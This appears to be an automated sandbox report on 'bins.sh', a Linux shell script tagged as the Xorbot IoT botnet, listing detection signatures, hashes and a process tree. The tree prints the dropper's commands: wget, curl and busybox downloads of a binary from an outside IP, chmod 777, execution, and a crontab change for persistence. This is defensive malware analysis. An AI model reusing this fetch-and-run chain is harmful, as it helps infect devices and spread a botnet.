Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/01/2025, 02:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250122-cxevdstjhy
  • SHA256 8dce54dd9a3bd4d4fd0a161b509345d69da72ba06cd91f986d81b43ea75f69da
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2154) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:648
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:650
        • /usr/bin/wget
          wget http://66.63.187.225/bins/hATMBYlxwWZjHApJKXIxyz0cKqjIEuoe3m
          2⤵
          • Writes file to tmp directory
          PID:656
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/hATMBYlxwWZjHApJKXIxyz0cKqjIEuoe3m
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:675
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/hATMBYlxwWZjHApJKXIxyz0cKqjIEuoe3m
          2⤵
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod 777 hATMBYlxwWZjHApJKXIxyz0cKqjIEuoe3m
          2⤵
          • File and Directory Permissions Modification
          PID:685
        • /tmp/hATMBYlxwWZjHApJKXIxyz0cKqjIEuoe3m
          ./hATMBYlxwWZjHApJKXIxyz0cKqjIEuoe3m
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:687
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:689
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:690
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:692
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:693
              • /bin/rm
                rm hATMBYlxwWZjHApJKXIxyz0cKqjIEuoe3m
                2⤵
                  PID:707
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/jgcF8CMTcpCS528wVQo678EylZ4BA5zdbW
                  2⤵
                    PID:711

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      hATMBYlxwWZjHApJKXIxyz0cKqjIEuoe3m

                      • Path /tmp/hATMBYlxwWZjHApJKXIxyz0cKqjIEuoe3m
                      • Size 141KB
                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                      • MD5 SHA1 SHA512 SSDEEP

                      tmp.AOL4oL

                      • Path /var/spool/cron/crontabs/tmp.AOL4oL
                      • Size 210B
                      • SHA256 463c06a8f2fae705bdf7c5aa5aeb81d158f28b3856ff751f5b19314f259f213b
                      • MD5 SHA1 SHA512